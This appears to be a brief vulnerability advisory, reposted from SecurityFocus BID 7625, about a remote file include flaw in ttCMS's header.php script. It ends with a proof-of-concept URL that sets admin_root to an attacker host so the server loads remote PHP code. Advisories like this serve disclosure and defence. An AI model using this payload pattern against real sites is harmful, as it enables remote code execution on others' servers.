5 lines
No EOL
363 B
Text
5 lines
No EOL
363 B
Text
source: http://www.securityfocus.com/bid/7625/info
|
|
|
|
A remote file include vulnerability has been reported for ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'header.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL.
|
|
|
|
http://target/admin/templates/header.php?admin_root=http://attacker/ |